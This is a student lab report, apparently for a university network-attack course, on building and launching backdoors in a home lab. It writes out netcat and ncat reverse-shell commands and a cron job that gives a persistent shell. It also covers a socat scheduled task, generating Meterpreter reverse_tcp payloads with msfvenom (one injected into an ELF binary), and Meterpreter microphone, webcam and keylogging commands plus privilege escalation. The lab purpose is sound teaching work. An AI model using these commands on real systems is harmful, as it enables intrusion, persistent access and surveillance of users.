2019-2020-2 网络对抗技术 20175236 EXP2 后门原理与实践

目录


一、实验内容说明及基础问题回答
二、工具准备

  • 查看WindowsIP和LinuxIP
  • Windows获得Linuxshell
  • Linux 获得Windows shell
  • 使用nc传输数据

三、实验过程

  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

四、问题与思考



 

一、实验内容说明及基础问题回答


1、实验内容
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

2、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 破解Linux计算机账号密码
  • 替换login程序,提供特殊口令隐身登录
  • 在文件系统中隐藏后门

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Linux:通过crontab功能将木马设置为定时启动,控制主机保持监听状态就能周期性启动后门,也可以通过对正常然健的绑定注入shellcode开启后门。
  • win:被动下载或接受后门程序,当受害方点击运行该程序后门便会启动。

(3)Meterpreter有哪些给你映像深刻的功能?

  • 基本功能(基本的连接、执行指令)
  • 扩展功能(如搜集用户信息、安装服务等功能)

(4)如何发现自己有系统有没有被安装后门?

  • 安装杀毒软件:可以进行实时防护。
  • 检测网络连接:查看是否有IP与本机建立连接。

(5)后门概念

后门就是不经过正常认证流程而访问系统的通道。

**哪里有后门呢?

  • 编译器留后门
  • 操作系统留后门
  • 最常见的当然还是应用程序中留后门
  • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

下面是近些年的一些例子:

  1. 编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。
  2. 操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。
  3. 操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。
  4. 固件:更多思科路由器发现后门:中国有4台
  5. 应用:研究人员发现macOS版Skype内置了后门
  6. 应用:从广升“后门”事件看企业道德底线
  7. 应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?

一个相对狭义一点的后门的概念:

  • 特指潜伏于操作系统中专门做后门的一个程序
  • “坏人”可以连接这个程序
  • 远程执行各种指令
  • 概念和木马有重叠
  • 首先得有这么一个程序
    • netcat 系列
    • meterpreter
    • intersect
    • ...特别多
  • 其次得放到系统里
    • 正版软件故意或被攻击,包含后门
    • 正版库文件中包含后门
    • 本质上,需要诱骗你下载操作的,都属于各种钓鱼吧
      • 安装包中包含后门,放到网上供下载
      • 绑定到特定文件中,放到网上供下载
      • 直接发送恶意程序给你
      • 直接发送攻击性钓鱼链接给你,恶意网站种马
      • 捡到个U盘,打开个文件看看?
    • 煤女帅锅拿U盘直接拷给你
    • 攻击系统漏洞,获取控制权后,安装后门
  • 再次还得运行起来
    • 开机自启动技术
    • win的定时任务
    • linux的cron
    • 伪装成常用软件,诱使用户点击
    • 木马化正常软件
  • 最后还得不被本机的恶意代码检测程序发现
    • 恶意代码免杀技术
  • 也不能被本机的或网络上的防火墙发现
    • 反弹式连接
    • 加密连接
    • 隧道技术

(6)常用后门工具

  • netcat

    是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    • Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明
    • Windows: 课程主页附件中下载ncat.rar解压即可使用!

二、工具准备


1 使用nc或netcat获取远程主机的Shell

1.1  Windows获得Linux Shell

1.Windows 打开监听

  • ipconfig命令查看本机IP为192.168.157.1

  • 下载ncat并进入该目录,按windows + R组合键打开cmd.exe,输入ncat.exe -l -p 5236命令:

 

  • 这时Windows防火墙报警!为了达到实验目的,这里先将电脑上的杀毒软件和Windows防火墙暂时关闭

2.Linux反弹连接Win,输入命令nc 192.168.157.1 5236 -e /bin/sh

3.Windows下获得一个linux shell,可运行任何指令,如ls:

1.2 Linux获得Win Shell

1.用ifconfig命令查看本机IP为192.168.157.132

 

 

2.Linux运行监听指令,输入命令nc -l -p 5236

3.Windows反弹连接Linux,在ncat目录下输入命令ncat.exe -e cmd.exe 192.168.157.132 5236

4.Linux下看到Windows的命令提示

5.可以尽情地查看并操作Windows上的文件了哈哈哈!

 

 

2 使用nc传输数据

  • 用nc命令传输文件的格式如下:

    目的主机监听:

    nc -l 监听端口 > 要接收的文件名

    源主机发起请求:

    nc 目的主机ip 目的端口

  • 英文描述如下:

    Start by using nc to listen on a specific port, with output captured into a file:

    $ nc -l 1234 > filename.out

    Using a second machine, connect to the listening nc process, feeding it the file which is to be transferred:

    $ nc host.example.com 1234 < filename.in

    After the file has been transferred, the connection will close automatically.

  • Windows监听5236端口

  • Kali下连接到Windows的5236端口

  • 建立连接后传输数据

 

 

 



 

三、实验过程

使用netcat获取主机操作Shell,cron启动

    • 在Windows下监听5236端口

    • 在kali中,用crontab -e编辑一条定时任务,选择编辑器3

    • 在最后一行添加24 * * * * /bin/netcat 192.168.157.1 5236 -e /bin/sh,意思是在每小时的第24分钟反向连接Windows主机的5236端口

    • 时间到了22:24时,已经获得kali的shell,可以输入指令

 

 

使用socat获取主机操作Shell, 任务计划启动

       SoCat

Netcat++,超级netcat工具。

不信?自己看README

windows版见附件。解压即用,不用安装。

任何代理、转发等功能都可以用该工具实现。

  • man socat命令查看socat的介绍及相关用法:

    DESCRIPTION

     **Socat**  is  a  command  line based utility that establishes two bidirec‐
     tional byte streams  and  transfers  data  between  them.  Because  the
     streams  can be constructed from a large set of different types of data
     sinks and sources (see address types),  and  because  lots  of  address
     options  may be applied to the streams, socat can be used for many dif‐
     ferent purposes.
    
     **Filan** is a utility  that  prints  information  about  its  active  file
     descriptors  to  stdout.  It  has been written for debugging **socat**, but
     might be useful for other purposes too. Use the -h option to find  more
     infos.
    
     **Procan** is a utility that prints information about process parameters to
     stdout. It has been written to  better  understand  some  UNIX  process
     properties  and for debugging **socat**, but might be useful for other pur‐
     poses too.
    
     The life cycle of a **socat** instance typically consists of four phases.
    
     In the init phase, the command line options are parsed and  logging  is
     initialized.
    
     During the open phase, **socat** opens the first address and afterwards the
     second address. These steps are usually blocking; thus, especially  for
     complex address types like socks, connection requests or authentication
     dialogs must be completed before the next step is started.
    
     In the transfer phase, **socat** watches both streams’ read and write  file
     descriptors  via select() , and, when data is available on one side and
     can be written to the other side,  socat  reads  it,  performs  newline
     character  conversions  if  required,  and writes the data to the write
     file descriptor of the other stream, then continues  waiting  for  more
     data in both directions.
    
     When  one  of  the  streams  effectively reaches EOF, the closing phase
     begins. **Socat** transfers the EOF condition to  the  other  stream,  i.e.
     tries  to  shutdown only its write stream, giving it a chance to termi‐
     nate gracefully. For a defined time socat continues to transfer data in
     the  other direction, but then closes all remaining channels and termi‐
     nates.
    • 在win10系统下,右击屏幕左下角windows图标,选择“计算机管理”(或者直接搜索“计算机管理”)
    • 在任务计划程序创建任务,填写任务名称(学号)

 

 

 

    • 点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时
    • 点击操作选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5236 exec:cmd.exe,pty,stderr(作用是把cmd.exe绑定到端口5236,同时把cmd.exe的stderr重定向到stdout上),点击确定保存设置:

    • 创建完成之后,发现任务已经准备就绪,按Windows+L快捷键锁定计算机,再次打开时,找到你创建的任务双击后,可以发现之前创建的任务已经开始运行

    • 此时,在Kali环境下输入指令socat - tcp:192.168.157.1:5236,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5236端口,此时可以发现已经成功获得了一个cmd shell

 

 

 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

      Meterpreter

  • 后门就是一个程序。
  • 传统的理解是:有人编写一个后门程序,大家拿来用。
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令)
    • 扩展功能(如搜集用户信息、安装服务等功能)
    • 编码模式
    • 运行平台
    • 以及运行参数
  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

典型的平台就包括有:

我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter.

揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。

  • 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.132 LPORT=52 -f exe > 20175236_backdoor.exe生成后门程序

注意此时IP地址为LinuxIP

参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode

-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中

-e 使用的编码器,用于对shellcode变形,为了免杀

-i 编码器的迭代次数。如上即使用该编码器编码5次

-b badchar是payload中需要去除的字符

LHOST 是反弹回连的IP

LPORT 是回连的端口

-f 生成文件的类型

> 输出到哪个文件

**生成的文件当然需要通过ncat命令复制到Windows中了(当然十之八九杀毒软件会报警并删除该文件,因为是后门嘛。所以为了验证共功能,可以临时关闭一会杀毒软件。后面我们会讲到免杀,免杀完的后门杀毒软件就不会被发现了)

  • Windows下执行ncat.exe -lv 5236 > 20175236_backdoor.exe,进入接受模式
  • Linux中执行nc 192.168.157.1 5236 < 20175236_backdoor.exe注意关闭病毒查杀软件

    此时IP地址为主机即WindowsIP

  • 传送接收文件成功

 

 

  • 在kali中打开终端,输入msfconsole指令进入msf控制台

 

 

  • 输入use exploit/multi/handler进入监听模块

  • 输入set payload windows/meterpreter/reverse_tcp设置payload

  • 依次输入set LHOST 192.168.157.132set LPORT 5236设置IP及端口

    注意此时IP地址为LinuxIP,和生成后门程序时指定的IP相同

 

    • 设置完成,开始监听exploit


    • 运行Windows下的后门程序

    • kali已经获得Windows主机的连接,并得到远程控制的shell

说明:

  1. LHOST需要和上一步生成backdoor.exe的一致,本例中即192.168.157.132
  2. LPORT也需要和上一步生成backdoor.exe的一致,即5236
  3. payload也要一致,即windows/meterpreter/reverse_tcp

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

    • 使用record_mic指令可以截获一段音频

    • 使用webcam_snap指令可以使用摄像头进行拍照(本人太丑,加了个贴纸就不上镜了)

    • 使用screenshot指令可以进行截屏(键入指令忘截图,但能看见已生成的截屏文件)

    • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

    •  先使用getuid指令查看当前用户,再使用getsystem指令进行提权

 

可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

 

  • 使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.132 LPORT=5236 -x /root/Desktop/20175224/exp2/pwn1 -f elf > 5236pwn生成以pwn1模板这个elf文件格式的shellcode文件5236pwn

 

 

  •  输入指令msfconsole,进入msf命令行
  • 在kali上运行后门文件5236pwn,在kali中执行pwn2时应先加权限 chmod +x 5236pwn
  • 此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell

 

 

 

 

 



四、问题与思考

       本次实验我感觉总体难度不大,相比第一次实验对实验环境熟悉了不少,做起来也相对轻松了,就是最近学习任务多且杂搞得有点乱,时间分配不合理导致实验报告质量不高。但总的来说这次实验四个字可以总结:挺好玩的!我感受到建立一个后门连接是如此的简单,功能又如此强大,实验的过程还是蛮有成就感的。当然在CSDN也学到了其他的一些东西,比如Meterpreter的功能远不止我所想的那样单一,在CSDN上参考了别人的博客学习到了meterpreter其他的一些相关知识:

help命令查看meterpreter基本功能:

获取Windows命令行界面,以方便执行Windows内置功能指令,exit退出:获取ruby交互界面,exit退出。如果你行,甚至可以用ruby直接编程(PS:我不会,所以就不多说了)

 

据说可以调用windows任何API。可参考《Metasploit魔鬼训练营》第九章,有一个小例子。

 

       需要学习的东西还有很多,“机要无小事”!通过本次亲手实践更认识到某些系统防范入侵的能力之低这一事实,植入后门如此简单令人震惊,从而间接的提高了自己的安全意识。

 

 

 

 

 

 

posted on 2020-03-23 02:59  20175236温丰帆  阅读(257)  评论(0编辑  收藏  举报